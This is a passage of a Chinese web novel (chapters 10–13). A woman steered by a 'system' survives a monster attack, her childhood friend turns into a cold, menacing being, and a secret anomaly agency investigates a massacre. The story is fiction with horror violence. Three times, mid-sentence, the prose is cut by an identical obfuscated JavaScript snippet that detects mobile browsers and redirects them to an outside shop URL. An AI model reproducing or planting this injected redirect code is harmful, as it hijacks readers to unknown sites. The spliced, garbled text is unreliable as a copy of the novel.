【以“普通人”身份和你相处的凌漾当然很喜欢你,可是当他恢复自己的身份和记忆后,和你相关的记忆和情感对他漫长的时光来说,就太渺小和短暂了。】 【和你相处的十几年,对他来说就像是……一个人漫长一生中的几分钟。就算这几分钟的经历再怎么珍贵,时间刻度以百年来计的话,也很难说能留下什么深刻的印象吧?】 所以她辛辛苦苦攻略十几年,对他来说就跟过了几分钟一样? 白栀气得想吐血。 “所以我现在要做什么?”白栀问,“为了防止世界崩坏,要杀了他吗?” 【你怎么可能杀得了他啊!】系统忍不住吐槽,【别瞎想了,防止世界崩坏的机制一直没变,漫画是以“情绪”“情感”为基石建立的世界,从目标人物身上获取情绪,无论“爱”“恨”,都可以转化成世界赖以生存的养料。】 “……我彻底明白了,也就是说,我前十几年攻略的那个‘凌漾’是‘封印记忆的人类版’,所以攻略全都不算数了,我现在还得重新攻略‘六亲不认莫得感情的版本’一次呗?” 【咳,差不多。】系统心虚地咳嗽了一声,【往好处想……几分钟的记忆也是记忆……说不定,再次攻略会意外地容易呢?】 “真是麻烦死了……”白栀小声嘀咕,“反正只是要收集‘情绪’,还不如直接收集我的。虽然没有‘爱意’,但我对这个世界可是‘恨意’满满的。” 【可是你的情绪就算收集了又有什么用?根本不值钱啊。】系统解释道,【只有重要角色的“情绪”和“情感”才有价值,像你这种运气好才觉醒的小N ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142942|150179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' PC,就算收集了全部的情绪,对世界运行来说也是无足轻重的。】 白栀微微一愣。 她知道系统没有恶意,只是在解释运行机制,但这个事实还是让她感觉像被什么轻轻扎了一下。 她当然知道自己是个小角色,在游戏部的时候就是哪里需要她,就把她往哪搬的万能炮灰。 其实她最初的名字只有“栀栀”这两个字,“白”这个姓,还是她觉醒后,世界为了填补细节才加上去的。 果然小角色就是小角色,从游戏部到了漫画部也还是小角色,无论爱恨,都影响不了世界的运转。 白栀扯了扯嘴角:“就算没有热武器支援,好歹给两颗子弹吧?我要是现在就死在这里,这个世界的任务你们要怎么办啊?” 【好吧。】 系统勉强同意。 “叮当”一声,两颗子弹就这样出现在了她面前。 白栀傻眼了。 说两颗子弹就两颗子弹,抠门的系统居然一颗多的都没给她。 白栀:这是人工智障吗?! 还没等她琢磨好是把系统打成圆的还是打成扁的,就在这时,她听见了脚步声。 白栀微微一僵。 没想到那个东西来得这么快。 那道声音越来越近、越来越快,仿佛随时都会出现在她身后。 就在它破门而入的一霎那,她毫不犹豫地转身举枪,对准目标的眼睛,直接射击! “砰砰——!” 两枪全中! 明明打中了目标,可子弹就像是击中了什么钢筋铁壁似的,不仅没能洞穿血肉,反而被直接弹开,弹壳在墙壁上留下一道浅浅的印记。 白栀这才看清,“苏玥”身上那无数张嘴里除了长到莫名的舌头,还有尖锐到极致的“利齿”。 那些“利齿”只需要轻轻合拢,就能直接抵挡来自枪械的攻击,堪称完美的防御。 这怪物……是不是太超规格了啊? 白栀喉咙一阵干涩。 她下意识往后退了退,可背后就是墙壁,就算想跳窗逃跑都不可能。 她任务还没做完啊,难道真的要死在这里了吗? 白栀其实一点都不怕死,以往在游戏部的任务中也不乏比这更残酷恐怖的,既然接受了任务,当然就有死亡的觉悟。 她只是不想这样死。 不想……像个牲畜一样,被怪物一口一口地吃掉,然后变成它肚子里一团模糊的血肉。 怪物身上的嘴全部张开了,无数条舌头垂下来,向着她所在的方向游动。 有的长舌在爬向她的手腕,有的长舌目标是她的脚踝,还有的长舌盯上了她的脸颊……就像是有自我意识的绦虫似的,每一条舌头都在贪婪地涌向她,似乎在思考该从哪里开始下嘴品尝。 她甚至能闻到隐隐约约的血腥味。 不知道是陈远山的,还是她自己的。 恶心。 ……太恶心了。 想吃她还是再掂量掂量自己吧,难道以为她会坐以待毙吗? 白栀眼里闪过一丝戾气,她一把拿起三棱刺,快准狠地把它直直扎进了离自己最近的那条舌头里,三棱刺连同长舌一起被钉死在了地板上! 一切只发生在一刹那。 伴随着“苏玥”的嘶吼声,所有向她涌动的“长舌”似乎都在这一刻被按下了暂停键。 “苏玥”也僵在了原地,一动不动。 好像有什么东西闪了一下。 下一秒,它的身体骤然爆开! 就像被无数道激光切过似的,血雨飞溅,长舌、利齿、肉块全都变成了一团血雾。 白栀愣住了。 她看到了“线”。 黑白色的“线”。 无数条黑白色的“线”翻涌交织在空中,那些“线”看起来那么轻盈纤细、那么空灵独特,仿佛世上最完美的造物,却在一瞬间,就凶狠霸道地把刀枪不入的怪物直接碎成了齑粉! 血雾消散,她终于看清了“线”的主人。 俊美如玉的少年面无表情地望着她,无数条“黑白线”环绕在他身侧,他明明是站在窗沿下,却仿佛伫立在世界尽头,狂风骤雨也无法侵扰他分毫,只能沦为陪衬他出场的背景板。 栀栀从没见过这样的他。 陌生得仿佛从未认识过。 白栀(目瞪狗呆):不是哥们,这就是终极boss的排面吗?! 11. 第十一章(补) 雨越下越大。 狂风把雨水吹进窗户内,少年的衣领也在风中猎猎翻飞,就连额前的黑色发丝也被沾染了些许湿气,但这也只是衬得他那张脸越发深邃俊美。 他微微低着头,居高临下地望着她,精致的眉宇间却仿佛有一丝微不可察的厌烦。 看见他【好感度指标】旁那个鲜红的“0”,白栀顿时有种吐血的冲动。 辛辛苦苦十几年,对这小子来说就只当过了几分钟是吧?! 好想打爆他的狗头。 然而任务还得继续,白栀不得不把“打爆他狗头”这个计划稍微往后放放,准备等完成攻略后再实施。 她一秒切换成演技模式。 栀栀扑进他怀里,像受了委屈的小孩子一样眼睛瞬间就红了,哭着说:“呜呜呜凌漾你去哪了?你怎么不回家?我刚刚差点就死了,手机还没有信号,到处都找不到你……我真的好害怕……你半夜不回家到底去外面干什么了啊?” 凌漾:“杀人。” 栀栀:“……” 她被哽了一下,抽抽噎噎地伸手捶他:“讨厌……都什么时候了你还要逗我……” 话音未落,手腕却突然被他握住。 凌漾没控制力道,捏得有些疼,栀栀小声痛呼了一下,下意识想抽出手腕,然而他用力太过,她那点挣扎的力度根本撼动不了分毫。 他的目光凝在她的手腕上。 少女的手腕纤细白皙,如同上好的凝脂白玉,可是一道刺眼的伤痕却破坏了这份美丽,血已经止住了,却仍旧显得有些狰狞。 这是刚才被“怪物”攻击时留下的擦伤。 凌漾垂下眼帘,掩住眼眸里的阴郁。 她为什么总是这么容易受伤? 尽管他已经不喜欢她了,但在察觉到她差点被“苏玥”伤害时,他心中还是无法控制地生出了一丝戾气。 想要撕碎什么,或者干脆毁灭什么。 就像自己的领地被入侵,就像自己的所有物被觊觎。 凌漾对此感到厌倦。 连那种级别的东西都可以随意伤到她……怎么会有白栀这么弱小的生物? 对危险全无感知,简直天真愚蠢到了极点。 与其让她被那种东西吃掉,变成一团血肉模糊的不明物体,不如现在就被他吃掉。 他厌烦她的弱小。 更厌烦自己受她影响而乱作一团的情绪。 栀栀对他的想法一无所知,见他一直盯着她的手腕看,只是担忧道:“怎么啦?为什么一直这样看我?我的手有什么问题吗?” “没什么。”他心情恶劣,却笑得很灿烂,“我只是在考虑,怎么吃掉你会比较好。” 栀栀脸红了,害羞道:“都什么时候了你还在说这种话,真是太不正经了。” 凌漾:“………” 她是傻子吗。 他笑不出来了。 发生了这种事,按照栀栀的想法是一定要报警的,只是现在这么晚了,外面还电闪雷鸣,这里停电又没有信号,出去的话也很危险,所以她打算等雨停了再去报警。 剩下的时间也不能就这样干坐着,她刚才身上被血溅到了,整个人都脏兮兮的,打算去浴室里清洗一下。 因为害怕,她拜托凌漾就在这里等她,不要回自己家,要是他走了,她很怕又有坏人来伤害她。 但,这和他又有什么关系? 他并不在乎她的安危。 凌漾想。 可不知为何,望着她那双因为恐惧变得湿漉漉的眼眸……拒绝的话始终说不出口。 这种想法和情绪的反向拉扯,让他有些莫名的烦躁。 他原本打算等心里残存的情绪彻底消散再杀了她,可现在,他改变主意了。 他已经厌烦了和她玩过家家的游戏。 更讨厌被这种低级情绪操纵的感觉。 被劣等的东西操纵,会让他感觉自己也变得低级了。 凌漾望着浴室门内氤氲的雾气,心中杀意渐盛。 等她出来,就直接除掉她好了。 他想。 给她一点时间,让她干干净净地离开,就当是他最后的仁慈。 他的计划是理想的,只是栀栀不知道在干嘛,在浴室里磨磨蹭蹭、磨磨蹭蹭,水开了又关关了又开,看样子是想把自己洗掉一层皮,半天了都没有出来的迹象。 直到凌漾耐心都快被耗尽了的时候,浴室门终于析开了一条小缝。 一个小脑袋探了出来:“凌漾,你可以帮我拿一下洗发露吗?浴室里的用完了。” 等了半天,以为她终于洗完了的凌漾听到这话瞬间破防了:“你甚至连头发都还没洗?!那你这么长时间在里面干什么?” 栀栀支支吾吾:“我、我在泡澡啊……可是单纯泡澡太无聊了,我就拿起手机想打两局开心消O乐,没想到根本停不下来,一不留神就、就玩到现在了。” 凌漾:“……” 他深吸一口气,拿起洗发露递给她,强忍着心里的不耐烦:“我来帮你洗算了,你自己洗要洗到什么时候。” “啊——变态啊你!”栀栀尖叫一声,伸手抢过洗发露,然后“砰”地一声甩上了浴室门。 几秒后,门又一次被打开,然后又迅速关上,只有一个粉色的浴球直接飞了出来砸到了他脸上:“当变态就是这种下场!” 凌漾:“………” 他额角开始冒青筋。 更令人绝望的是,浴室里又一次响起了开心消○乐的游戏音乐。 …… 等她终于洗完外加换好衣服吹完头发,已经快凌晨四点了。 栀栀打开卧室门,她穿着可爱的小兔睡衣,头发也没完全吹干,还有些湿润的黑发散落在肩上,衬得那张雪白的小脸楚楚可怜。 “凌漾,你帮我涂下药好不好?我自己碰不到。” 她小声说。 “好啊。” 终于有机会了结她了,他干脆地答应了下来。 大概是逃跑的时候不小心撞到的,她身上好多地方都有细碎的伤口和淤青,能碰到的地方她都做了简单的处理,但是有些地方实在没办法自己擦药,只能拜托他帮忙。 也不等他回答——大概是觉得他不会拒绝自己,栀栀直接在床边坐下,把长发垂落到一边,纤细的脖颈就这样毫无遮掩地露在了他面前。 他微微一顿。 目光所及之处,星星点点的青红色瘀伤分布在牛奶般白皙的肌肤上,增加了一分脆弱的凌虐之感。 很容易引发旁人的联想。 会让人想要试试,如果是自己亲手造就的痕迹又会是什么模样。 他目光停留了几秒,随即无动于衷地移开了视线。 这种纯粹的视觉刺激,是不可能动摇得了他的。 现在的他,对她半分兴趣都没有。 他更不想触碰她的肌肤。 想是这样想的。 可不知为何,他体内的那些“黑线”和“白线”却仿佛着魔了,并不受他的控制,发了疯地扑向眼前的少女。 “黑线”和“白线”似乎有自我意识,彼此扭打成了一团,都在阻止对方靠近眼前的少女,无数条“线”在碰撞间湮灭,又在下一秒新生,仿佛一场无声的厮杀。 最终还是“白线”占了上风,把蔫蔫的“黑线”捆成了一团,自己欢欢喜喜地贴上了少女的肌肤,然后变成小光点融进了她的身体内。 明明还没有涂药,可怖的瘀伤却肉眼可见地开始变淡消失。 “黑线”是扭曲、破坏和毁灭。 “白线”是修正、保护和新生。 它们都同样渴望占有眼前的少女。 渴望毁灭她,又渴望保护她。 在这场短短的交锋里,竟然是“白线”占了上风。 为什么? 作为人类的他残留的那点惯性,难道还在作祟吗? 他厌恶这个可能的、软弱的答案。 栀栀没有察觉到身后的动静,只是自顾自地和他说话,一会儿说今晚那个怪物到底是什么,一会儿说明天到了警局该怎么交代,一会儿又闷闷不乐,难过苏玥怎么会变成这个样子,真正的苏玥是不是已经死了…… 她真的是被今晚的变故吓坏了,游戏也好沐浴也好自说自话也好,大概都只是用来转移注意力的手段,可尽管如此,她的身体还是在止不住地发颤。 真可怜。 但凌漾并不关心。 他只是心不在焉地看着近在咫尺的纤弱脖颈,思考着从哪个角度拧断它会比较好。 就在他跃跃欲试的时候,凌漾突然觉得怀里微微一沉,似乎多了个什么东西。 他低下头,原来他怀里多出的不是东西,而是某个人。 不知在什么时候,栀栀渐渐停止了自言自语,她靠着他,软软地贴在他怀里,两颊泛红,眼神懵懂,整个人的状态都很不对劲,仿佛喝醉了酒似的,她抱他抱得很紧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142943|150179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像只撕也撕不下来的八爪鱼。 这个姿势实在有点暧昧。 “喂——你……” 杀意瞬间被懵逼所取代,凌漾有些诧异,想问她怎么了,但话还没说出口,似乎是误会了他想推开她,栀栀竟然顺势捧住他的脸,直接吻住了他的唇。 凌漾:“?!” 唇上的触感柔软娇嫩得仿佛玫瑰花瓣,这不是什么具有攻击性的招数,却让他的脑海突然空白了一瞬。 他突然忘了自己前一秒想对她做什么。 “我也不知道是怎么了……”栀栀搂着他的脖子一边亲他,一边撒娇蹭他,“我就是觉得你好香好香,特别想融进你的身体里,想变成你的一部分……天呐,我不会是中情毒了吧?就是小说里的那种……要天天和你酱酱酿酿,不然就会有生命危险的那种……” 凌漾:“……” 凌漾:“你想得美。” 栀栀置若罔闻,亲着亲着,她竟然还打算上手扒他衣服了! 真是离了大谱了……他身上的黑色T恤被她扯得东倒西歪,他抓住她的手,言语苍白地试图阻止:“等等、你冷静一下——” “等什么呀?你最近就像变了个人一样,对我好冷淡哦……又不陪我回家又不陪我出去玩……发生了这么可怕的事,还不安慰我,实在是太过分了……难道现在我想亲亲你都不可以了吗?” 她说着说着还委屈起来了,泄愤般开始啃他的脖子和锁骨,但并不用力,所以感觉上就像没长牙的小猫在咬他。 空气里充斥着少女身上的温软香气,凌漾有些措手不及,实在没想到这个发展,短短几分钟剧情就发癫了,一下就从《午夜惊魂》《血腥异形》跳转到了《雨夜~我和父母不在家の幼驯染の秘密O事》……而且他好像还是比较危险的那个…… 是被封存在她体内的力量影响了吗? 离他越近,她体内的力量就会越躁动,迫不及待地想回到他的体内,和他融为一体,受到那些力量的影响,所以她才会这么反常地想和他亲近。 可是……“融为一体”是这种“融为一体”吗? 他不知道。 他明明是厌烦她的。 可当她吻上来时……他一时竟然很难推开她。 因为,太甜了。 她身上的气息实在太甜了。 甜得让人发疯。 这种甜蜜是诱人上瘾的毒///药,越是在幻境中沉醉,清醒时就越痛苦。 他已经上过一次当,不会再上第二次。 说到底,这也不过就是一个吻而已。 不过是她随便赠予的吻。 可以给他,也可以给别人。 劣等的情绪,劣等的情///欲。 如果一个吻就能让他臣服于这种廉价的甜蜜之下,那和招招手就冲主人摇尾巴的狗又有什么区别? 他才不会当她的狗。 他握住她的肩膀,就像撕下一张便利贴一样,有些粗暴地推开了她。 唇上,似乎还残留着她的香气。 他喉结滚动了一下,兴致寥寥地移开视线,不去看她红玫瑰般柔软的嘴唇。 突然被推开,栀栀不明所以,她望着眼前俊美高挑的少年,他明明还是微笑着的,她却突然觉得他很陌生。 陌生到触不可及。 “真无趣。”凌漾抬手擦了擦嘴唇,“你的吻,就和你的人一样无趣。” 他从没用这么恶劣的态度和她说过话,栀栀完全懵了:“……凌漾?你怎么了?你在说什么呀?你好奇怪……这、这不像你……” 她下意识想靠近他寻求答案,然而几根“黑线”却毫不留情地挡在了她面前,让她不得不被迫停下。 就像是划分在他们之间的楚河汉界。 “其实你从来没有真正认识过我,又谈什么‘像我’?”他偏了偏头,笑容中有几分冷淡的讥诮,“我已经,厌倦了和你玩青梅竹马的游戏,游戏很无趣,你也很无趣……所以,不如就到这里。” “什么‘真正的你’?什么‘青梅竹马的游戏’?你在说什么呀……?”栀栀委屈又无措,眼泪一下就掉下来了,“那你今晚为什么要来?为什么要救我?你明明可以看着我死,反正你也厌倦了……” 是啊……为什么呢……? 他神情有一瞬间的放空。 不过也只是短短一瞬,他很快回过神来,俯身靠近她,笑容明朗又恶劣:“可能是因为,我想看看你此刻的表情吧。” 12. 第十二章 荣兴路,兴和小区。 大雨瓢泼,狂风大作,云层低低地压在居民楼上方,目光所及之处一片晦暗。 设立了警戒线后,原本看热闹的人群被驱散,居民楼的周围瞬间安静了下来。 只剩下雨水打在草木树叶上的啪嗒声。 张警官站在警戒线外,红蓝色的警车车灯轮流映照在他脸上,衬得那张原本就方正的国字脸更加凝重了。 最近怪事有点多。 他想。 张警官已经是拥有二十多年工作经验的老警察了,但他的工作生涯中,也没有像最近一样,遇到这么多反常的情况。 “兴和小区有人吃人”……? 虽然觉得不太可能,但张警官接到报案还是第一时间选择了出警,可等他带队赶往兴和小区后,却被上级通知现场已经被专业人士接手了,他们只需要负责配合对方的工作,设立警戒线,疏散群众。 至于小区内到底发生了什么,对方向他们交代,上级对此也是讳莫如深。 可是……“专业人士”? 面对这种突发情况,还有谁能比警方更“专业”? 这已经不是张警官第一次遇到这种事,最近出警时,需要他们配合“专业人士”的情况似乎越来越多了。 与之相对的,是海市近期频发的流血事件。 还有,那个男人…… 刚想到这里,一阵脚步声响起,一道声音突然出现在他前方:“事情已经处理完毕,辛苦张队了。” “这是我们分内之事,江先生不用这么客气。” 张警官握住男子递过来的手晃动了两下。 眼前的男子面容硬朗,年纪大概在二十七、八岁上下,气质很是沉稳。 男人名叫江何,此前需要他们配合“专业人士”的情况中,张警官已经多次见过他,对对方并不陌生。 不,其实是很陌生的。 张警官突然想到,他除了知道江何的名字和长相,其他的根本一无所知。 楼下,陆续有全副武装的人员抬着一个个黑色的尸袋走出来,再放进运输车内。 运输人员是江何那边的人。 张警官目测了一下尸袋的数量,顿时有些心惊,他下意识想上前,却被江何拦下。 张警官语气严肃:“江先生,死者人数众多,这不是一般的案件,这种情况必须交由警方处理!” 江何叹气,苦笑了一下:“张队,这个恐怕我做不到,里面装的这些其实……” 他顿了顿,没有再继续说下去,转而道:“……还是交给我们处理吧。” 离得近了,张警官才看清他胸口前那个徽章上的名称。 【特殊事件应对部】。 * 处理完事务,回到基地后,江何坐在电脑前,点了一支烟。 云雾缭绕下,他心事重重。 “特殊事件应对部”原名“异化社”,顾名思义,就是处理各种“特殊事件”的组织,并非官方机构,但和官方有少许合作,“特殊事件应对部”是明面上的叫法。 到底从什么时候开始,已经无法追溯和考据。 没人知道原因是什么,等到人们回过神来的时候,整个世界的异化和扭曲早已开始。 异化的对象可能是一个人,也可能是一片区域。 被异化的人类会逐渐失去理智,扭曲成认知和思维都和曾经迥然不同的“异种”。 而被异化的区域,会成为“混沌域”,诞生出一套独立于世界的“规则”,有点像游戏《寂静岭》中的表里世界,“混沌域”中危机四伏,普通人类一旦步入其中,便是九死一生。 正常的世界被称为“表世界”,“混沌域”则被称作“里世界”。 但是,被异化的人类中,除了失去理智的“异种”,也有像江何这样的存在。 他们像异种一样拥有特殊能力,却仍旧保持理智,在世界各地处理由“异种”和“混沌域”引发的特殊事件。 异化社,就是很多年前,由他们这样的异化者们建立的组织,一代代人忘我的奋斗和牺牲,才维持住了普通人们的和平生活,没有让世界变成千疮百孔的模样。 运行至今,异化社已经是全世界都拥有分属机构的庞然大物了。 江何的父母都是异化社的成员,他自幼耳濡目染,长大后也就顺理成章地成为了异化社的一员。 江何能力手段过硬,短短几年,就成了异化社海市分属部门下分属小组的组长。 相比其他地区,海市似乎是个比较安全的地区,多年来一直没出过什么大问题。 但是最近,海市——不,应该说整个世界的特殊事件,都发生得越来越频繁了。 前不久,滨海一中爆发了一起“吃人事件”。 事情起源于一句玩笑话。 那个班级里有几个关系极其要好的同学,临近毕业,就要各奔东西,大家都有些不舍。 见气氛有些伤感,其中一个同学开玩笑说:“真想把你们全部吃进肚子里,走到哪儿都带着你们,这样大家就永远都不会分开了。” 这只是一句调节气氛的玩笑话。 可是,朋友中有一只正在异化的异种。 在说出这句话那一刻,彻底完成异化的异种,按照他们的心愿,把自己的几个朋友连皮带肉全部吃掉了。 这的确是某种意义上的“永不分离”。 江何有个弟弟叫江礼,同样也是异化社的成员,实力强劲,堪称百年难遇的天才。 江礼在景明私立国际学校就读,离滨海一中很近,只有一两个街区。 察觉到出现异常后,他迅速翘课前往滨海一中,处理掉了那只异种,并及时阻止了“混沌域”的扩张,这才没有造成更大的伤亡。 可江礼在例行汇报事件时,说的话却让江何有点在意。 他说:“有件事很奇怪,最后一个死在异种手里的学生,他残留的尸体没有留在‘混沌域’内,而是出现在了表世界。” “经过检测,我发现他身上的‘异化指数’非常低,很可能他一直停留在表世界,根本就没有进入过混沌域。” “可是混沌域的规则还是对表世界的他起作用了。” “两种可能。第一种,里世界的规则影响了表世界;第二种,里世界的领域开始逐渐向表世界蔓延。” “无论是哪种可能,最终里世界或许都将彻底取代表世界。” 说到这里,江礼的神色依旧平静,但江何背后已经全是冷汗。 如果混沌域最终蔓延,甚至彻底取代表世界……整个人世都将彻底沦为修罗地狱。 他们这样的异化者在其中生存尚且要处处小心,何况是那些毫无自保之力的普通人呢? 那一天的到来,会是人类的末日。 可是,无论江何有多抗拒这个未来,近来世界各地发生的种种异常,似乎都在逐步验证这个猜测。 “‘规则’是这个世界成立的基础,混沌域中的规则由异种制定,可是整个世界的规则又是由谁制定的?”江礼说,“哥,你说会不会有一种规则,优先于所有规则之上,又囊括了一切规则?” 任务的最后,江礼要求建立“防护网”。 异化具有传染性。 进入过混沌域或是接触过异种的人类,哪怕运气好,侥幸生还,此后也有一定概率异化成异种,形成新的混沌域。 这个概率会远远大于从未进入过“混沌域”的人类。 就像山火发生时,为了阻断火势蔓延,会人为清理出一条没有植被的隔离带一样,为了应对这一情况的诞生,阻断异化的传染,特殊事件应对部也会根据情况选择建立“防护网”。 简而言之,就是在他们异化前,先一步除掉可能异化的人,阻止扭曲蔓延。 建立防护网是会死人的,而且等级越高,死的人越多。 不到紧急时刻,异化社很少会真的选择建立“防护网”,就算要建,在等级的选择上也会慎之又慎。 所以,江何拒绝了江礼的要求。 江礼说:“异化有传染性,那只异种当天接触过的人太多了,很难保证之后没有被传染的可能,除掉潜在危险因素是必要的。” “只是‘可能’而已,如果担心他们有异化的风险,也可以选择集中监测……”江何说,“建防护网的提议太激进了,那些还都只是和你一样大的学生。” “但这是最保险的做法。” 江礼不解道。 看着这样的弟弟,江何一时无言,唯有苦笑。 江礼并不是江何的亲弟弟,他父母不详,自幼在孤儿院长大,患有很严重的自闭症,七岁那年因为展露出自己的不凡,而被江何的父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142944|150179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母收养。 但江何的父母收养他的目的并非出于善意,而是看中了江礼超乎寻常的天赋,不仅没有给予他家人应有的关爱,反而把他当作一把好用的利刃来培养。 当时江何已经长大,早就开始独自执行任务,常年不在家中,所以当他知道的时候,江礼已经被培养成了一个好用的人形兵器。 冷漠、精准、强大、残酷。 明明还是个没成年的孩子,却连哭泣和微笑都不会。 比起人类,反而更像是异种。 江何是个非常正直的人,尽管只是名义上的弟弟,他也无法忍受父母对江礼的残忍做法,愧疚的江何和父母大吵一架后带走了江礼,想尽可能让弟弟过平凡正常的生活。 但他平时任务太忙了,实在没有太多时间陪伴江礼——或许陪伴了也没用,江礼始终情感淡薄,少有正常人的情绪。 江何唯一能做的,只是尽量争取江礼接受正常教育、过正常校园生活的权利。 江礼不是很能理解兄长的做法,但既然江何坚持,他也没有拒绝,于是选择了校风较为自由开明的景明私立国际学校。 学校里纨绔子弟很多,这样江礼就算经常请假翘课去完成任务,也不会有人觉得奇怪。 江何很希望弟弟能融入校园生活,度过像电影里的一样的青春,有几个要好的朋友、几个暗恋他或者他暗恋的女孩…… 他的心愿实现了,江礼的确过上了青春电影里的生活——他被霸凌了(当然霸凌者们没能霸凌成功,反而毫无反抗之力地被江礼揍了一顿)。 “是因为白栀。” “白栀?”还是第一次在弟弟口中听到女生的名字,江何不免来了点八卦的兴致,“是你们班同学吗?” “嗯,我们班班长。” “是个什么样的人?” “……一个喜欢多管闲事的女生。” 江礼不着痕迹地皱了皱眉,似乎想到了什么吃瘪的往事。 “多管闲事?哦,就是你之前说的那个‘以为你家里有困难,所以总是主动帮忙,还督促你不要翘课要好好学习,以至于你后来都绕着她走’的同学么?” “……嗯。”江礼说,“我有些怕她。” 江何忍俊不禁。 他还是第一次在弟弟脸上看见这么丰富的表情。 这也算是一个好的开始……吧? 江何并不后悔没有建立防护网,在拒绝江礼的提议后,他派出下属对那天接触过异种的高危学生进行了长时间的监测,直到确定没人有异化迹象后,才解除了监视。 可是,异种好像还是出现了。 兴和小区,三栋二单元,死了很多人。 似乎是被什么东西吃掉的,死掉的人好多只留下了一些毛发和部分残肢。 调查后发现,这次事件的异种似乎是一个名叫“苏玥”的女孩,她不是滨海一中的学生,但异化事件发生那天,她曾经前往滨海一中参加数学竞赛。 但他们对苏玥进行过监测,她的异化指数一直很低,属于不可能异化的级别,怎么会突然变成异种? 况且,他们没在兴和小区找到“苏玥”。 它去哪了? 它在附近大开杀戒,说明已经失去理智彻底异化,按理说不管它去了哪里都会开始吃人,很快就该有死人的消息传来,可是为什么直到现在都这么风平浪静? 除此之外,还有一件事让江何觉得很奇怪。 这件事他没有告诉任何人,一直在私下偷偷调查。 但越是调查,结论就越是让他心惊。 他直觉自己好像碰到了一个不得了的秘密,最好的做法是现在就停下来,可是好奇心和责任感却驱使着他不得不继续下去。 只剩一块拼图,他好像快要触碰到真相了。 江何看着电脑里正在加载的资料,如此想到。 【数据加载中,24%……】 【数据加载中,56%……】 【数据加载中,82%……】 【100%,数据加载完毕。】 他打开了文件。 * “江何死了。” 第二天一早,江礼就收到了紧急传来的讯息。 他的哥哥江何,被发现死在基地中,死相凄惨,仿佛被无数道激光切割过一样,碎成了很多块。 13. 第十三章 死掉的人不止江何。 异化社海市分属部门基地,在昨晚仿佛遭遇了一场血洗,当晚在基地中的所有人全都死掉了。 死状和江何如出一辙,都像是被什么切割过似的,碎成了很多快。 从现场痕迹来看,没有发生过打斗。 也就是说,他们是毫无反抗之力地被杀死的。 这个消息震惊了整个特殊事件应对部。 能在海市分属部门工作的成员,实力都不容小觑,什么样的人物能悄无声息地潜入基地,在短短一瞬间杀死所有人? 更何况其中还有组长江何。 难道有什么超出现有等级的异种诞生了吗? 异化社高层因此震动,调了许多其他分部的成员来海市基地调查。 江礼在外市执行任务,赶回现场的时候,侦查工作已经进行了一大半。 “现场没有打斗的痕迹,监控虽然完好,但是没有拍下任何奇怪的迹象,并不像异种作案……”调查员说,“我们调查了当晚在海市的所有部门成员,没有发现可疑人物,没人有作案动机和时间。这个案子既不像是异种做的,也不像是异化者做的。” 江礼没有说话,打开调查资料,在看到“江何死亡报告”的时候,他的手微不可察地顿了一下。 “‘异化属性’的分析结果出来了吗?” 不同的异种和异化者发动能力后,会留下不同的能量波动,每个个体的能量波动都有鲜明的特征,他们称之为“异化属性”。 异化属性就像DNA一样,可以用于对比检测,锁定目标。 “结果还在分析中,应该很快就会出来了。” 这个案子疑点重重,留下的线索并不多。 从案情上看,凶手似乎是冲着整个海市分属基地来的,像是一种示威,并非特定针对某个人。 但江礼并不这样认为。 几天前,哥哥江何曾经给他打过一通电话。 那时他正在外市执行任务,为了不打扰他,江何也没说太多,只是让他注意安全,完成任务后早点回学校上课。 电话最后,江何说:“我发现了一件有趣的事,上次你说的那个女孩子,白栀,她有点不可思议……你知道么?检测器显示,她身上的异化指数竟然自始至终都是0%!也就是说,从理论上来讲,就算全世界的人都堕落成异种了,她也不会异化。” 这种情况的确非常特殊,因为从没有人的异化指数能低到0%的程度。 但异化指数低意味着她不会异化,也意味着她没有威胁,或许是考虑到她还是个在读高中的小姑娘,江何并没有上报这件事。 江何死前,最后一个任务的执行地点,是兴和小区。 堕落成异种的,是他们的同校同学苏玥。 而白栀在当天下午放学后,去兴和小区给苏玥送过试卷。 当时“苏玥”已经变成异种了,可是去见她的白栀却没有死,反而完好无损地回家了。 白栀。 江礼的视线垂落到这个名字上。 纤长的睫毛盖住了他琉璃般明澈的眼眸,那张秀气的面容上没有任何表情,没人知道他在想什么。 * 之后几天,栀栀没再见过凌漾。 他仿佛是连装都懒得装了,连着好几天没去过学校,不去学校也不回家,完全不知道他到底去干嘛了。 那晚栀栀本来打算雨停就去报警的,可是第二天打开卧室门,她才发现尸体消失了。 不止是陈远山和“苏玥”的尸体,开枪留下的弹道、地板上的血迹、浸湿地毯的水渍……所有痕迹就像原地蒸发一样,消失得无影无踪。 整座别墅整洁明净得仿佛什么都没发生过,原本被破坏的物品也完好无损。 ……是凌漾做的吗? 她不确定。 但是紧接着她发现了一个问题。 她没办法报警了。 